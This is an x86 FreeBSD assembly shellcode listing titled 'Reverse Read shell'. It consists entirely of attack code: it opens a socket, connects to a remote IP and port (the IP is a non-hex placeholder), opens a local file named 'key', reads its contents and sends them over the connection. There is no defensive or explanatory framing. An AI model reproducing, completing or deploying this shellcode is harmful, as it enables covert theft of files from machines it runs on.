[shellcode] FreeBSD x86 Reverse Read shell

.globl main

main:
        push    %ebp
        mov     %esp, %ebp
        sub     $0x20, %esp


        xor     %eax, %eax
        xor     %ebx, %ebx
        xor     %ecx, %ecx
        xor     %edx, %edx

        push    %ecx
        inc     %ecx
        push    %ecx
        inc     %ecx
        push    %ecx

        mov     $0x61, %al
        push    %eax
        int     $0x80

        mov     %eax, %esi

#       socketaddr_in
        push    $0xGHEFCDAB # IP LittleEndian
        pushw   $0x3412     # port l.e
        pushw   $0x02AA
        mov     %esp, %ebx

#       connect
        mov     $0x10, %cl
        push    %ecx
        push    %ebx
        push    %eax
        mov     $0x62, %al
        push    %eax
        int     $0x80

        xor     %eax, %eax
        xor     %ebx, %ebx
        xor     %ecx, %ecx
        xor     %edx, %edx

#       open
        mov     $0x05, %al
        #why ?? 3byte, but pushw push esp 2bytes.
        pushw   $0x79
        pushw   $0x656B
        mov     %esp, %ebx
        push    %ecx
        push    %ebx
        push    %eax
        int     $0x80


#       read
        push    $0x20
        lea     0xffffffe0(%ebp), %ecx
        push    %ecx
        push    %eax
        xor     %eax, %eax
        mov     $0x03, %al
        push    %eax
        int     $0x80

#       write
        mov     %eax, %edx
        xor     %eax, %eax
        mov     $0x4, %al
        mov     %esi, %ebx
        push    %edx
        push    %ecx
        push    %ebx
        push    %eax
        int     $0x80


#       exit
        leave
        ret